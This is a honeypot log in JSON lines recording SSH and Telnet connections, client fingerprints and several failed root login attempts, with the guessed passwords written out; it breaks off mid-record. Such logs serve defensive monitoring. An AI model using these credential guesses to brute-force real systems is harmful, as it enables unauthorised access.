{"eventid":"cowrie.login.failed","username":"root","password":"aassdd","message":"login attempt [root/aassdd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:06.209588Z","src_ip":"43.173.88.240","session":"96c8b1c44391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":46896,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ff10bcfa7a7","protocol":"ssh","message":"New connection: 2.57.122.238:46896 (10.17.0.5:22) [session: 6ff10bcfa7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:06.392784Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:06.493169Z","src_ip":"2.57.122.238","session":"6ff10bcfa7a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00223207473755,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:07.084848Z","src_ip":"152.42.224.71","session":"56c06f0ee9c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:07.280969Z","src_ip":"43.173.88.240","session":"96c8b1c44391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51940,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb4041d55398","protocol":"telnet","message":"New connection: 152.42.224.71:51940 (10.17.0.5:23) [session: bb4041d55398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:11.245492Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":42322,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a713b93575f","protocol":"ssh","message":"New connection: 103.183.114.55:42322 (159.203.135.109:22) [session: 7a713b93575f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:11.361670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:11.367255Z","src_ip":"103.183.114.55","session":"7a713b93575f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:11.588312Z","src_ip":"103.183.114.55","session":"7a713b93575f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adidas123","message":"login attempt [root/adidas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:12.250520Z","src_ip":"103.183.114.55","session":"7a713b93575f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:13.473565Z","src_ip":"103.183.114.55","session":"7a713b93575f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.437894105911255,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:14.248819Z","src_ip":"152.42.224.71","session":"0371dc40f61a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":116.43563079833984,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:23.199318Z","src_ip":"152.42.224.71","session":"10f6083d391e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00286483764648,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:25.112138Z","src_ip":"152.42.224.71","session":"4e003ec94824","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cfb4ea45e25","protocol":"telnet","message":"New connection: 152.42.224.71:42678 (10.17.0.5:23) [session: 6cfb4ea45e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:43.026710Z"}
{"eventid":"cowrie.session.closed","duration":100.59214806556702,"message":"Connection lost after 100 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:43.169093Z","src_ip":"152.42.224.71","session":"9bc59b77f65c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":102.01181411743164,"message":"Connection lost after 102 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:56.958211Z","src_ip":"152.42.224.71","session":"9b3feb32e8a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41234,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d1d50921d6","protocol":"telnet","message":"New connection: 152.42.224.71:41234 (10.17.0.5:23) [session: 86d1d50921d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:09:59.317528Z"}
{"eventid":"cowrie.session.connect","src_ip":"183.133.99.109","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e22d8bb469","protocol":"telnet","message":"New connection: 183.133.99.109:53454 (10.17.0.5:23) [session: c8e22d8bb469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:10.701428Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":55048,"dst_ip":"10.17.0.5","dst_port":22,"session":"adeaa7e1fbd0","protocol":"ssh","message":"New connection: 43.134.184.253:55048 (10.17.0.5:22) [session: adeaa7e1fbd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:12.862458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:12.868426Z","src_ip":"43.134.184.253","session":"adeaa7e1fbd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:13.107283Z","src_ip":"43.134.184.253","session":"adeaa7e1fbd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex321","message":"login attempt [root/alex321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:14.092626Z","src_ip":"43.134.184.253","session":"adeaa7e1fbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:15.335315Z","src_ip":"43.134.184.253","session":"adeaa7e1fbd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00427484512329,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:18.172795Z","src_ip":"152.42.224.71","session":"023cd1507bfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42146,"dst_ip":"10.17.0.5","dst_port":23,"session":"97498826409a","protocol":"telnet","message":"New connection: 152.42.224.71:42146 (10.17.0.5:23) [session: 97498826409a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:21.031801Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":38808,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b4618adc25","protocol":"ssh","message":"New connection: 43.173.88.240:38808 (10.17.0.5:22) [session: 27b4618adc25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:21.447731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:21.453317Z","src_ip":"43.173.88.240","session":"27b4618adc25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:21.522416Z","src_ip":"43.173.88.240","session":"27b4618adc25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234%^&*","message":"login attempt [root/1234%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:21.853518Z","src_ip":"43.173.88.240","session":"27b4618adc25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:22.932437Z","src_ip":"43.173.88.240","session":"27b4618adc25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.055712699890137,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:23.757016Z","src_ip":"183.133.99.109","session":"c8e22d8bb469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42398,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dd05684f047","protocol":"telnet","message":"New connection: 152.42.224.71:42398 (10.17.0.5:23) [session: 2dd05684f047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:33.514509Z"}
{"eventid":"cowrie.session.closed","duration":51.49511361122131,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:34.521714Z","src_ip":"152.42.224.71","session":"6cfb4ea45e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":32830,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff2f1c3fbe6","protocol":"ssh","message":"New connection: 62.133.62.83:32830 (10.17.0.5:22) [session: 1ff2f1c3fbe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:52.064933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:52.071216Z","src_ip":"62.133.62.83","session":"1ff2f1c3fbe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:52.151801Z","src_ip":"62.133.62.83","session":"1ff2f1c3fbe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hahaha","message":"login attempt [root/hahaha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:52.388728Z","src_ip":"62.133.62.83","session":"1ff2f1c3fbe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:10:53.470708Z","src_ip":"62.133.62.83","session":"1ff2f1c3fbe6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42346,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf2083b739c5","protocol":"telnet","message":"New connection: 152.42.224.71:42346 (10.17.0.5:23) [session: cf2083b739c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:01.141623Z"}
{"eventid":"cowrie.session.closed","duration":29.873440265655518,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:03.387756Z","src_ip":"152.42.224.71","session":"2dd05684f047","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42350,"dst_ip":"10.17.0.5","dst_port":23,"session":"051736e53c2e","protocol":"telnet","message":"New connection: 152.42.224.71:42350 (10.17.0.5:23) [session: 051736e53c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:05.092407Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58180,"dst_ip":"10.17.0.5","dst_port":23,"session":"d936dc9af006","protocol":"telnet","message":"New connection: 152.42.224.71:58180 (10.17.0.5:23) [session: d936dc9af006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:06.159171Z"}
{"eventid":"cowrie.session.closed","duration":120.0061707496643,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:11.251554Z","src_ip":"152.42.224.71","session":"bb4041d55398","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39606,"dst_ip":"10.17.0.5","dst_port":23,"session":"adbe413ce49d","protocol":"telnet","message":"New connection: 152.42.224.71:39606 (10.17.0.5:23) [session: adbe413ce49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:19.387608Z"}
{"eventid":"cowrie.session.closed","duration":59.21231007575989,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:20.243960Z","src_ip":"152.42.224.71","session":"97498826409a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.88.240","src_port":54948,"dst_ip":"10.17.0.5","dst_port":22,"session":"39a7a5c9f488","protocol":"ssh","message":"New connection: 43.173.88.240:54948 (10.17.0.5:22) [session: 39a7a5c9f488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:32.764408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:32.769791Z","src_ip":"43.173.88.240","session":"39a7a5c9f488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:32.843625Z","src_ip":"43.173.88.240","session":"39a7a5c9f488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gordon","message":"login attempt [root/gordon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:33.150571Z","src_ip":"43.173.88.240","session":"39a7a5c9f488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.232801Z","src_ip":"43.173.88.240","session":"39a7a5c9f488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39898,"dst_ip":"10.17.0.5","dst_port":23,"session":"a16e5baffcf9","protocol":"telnet","message":"New connection: 152.42.224.71:39898 (10.17.0.5:23) [session: a16e5baffcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.282080Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":54388,"dst_ip":"10.17.0.5","dst_port":22,"session":"6af88c56ec28","protocol":"ssh","message":"New connection: 2.57.122.238:54388 (10.17.0.5:22) [session: 6af88c56ec28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.564954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:11:34.570259Z","src_ip":"2.57.122.238","session":"6af88c56ec28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 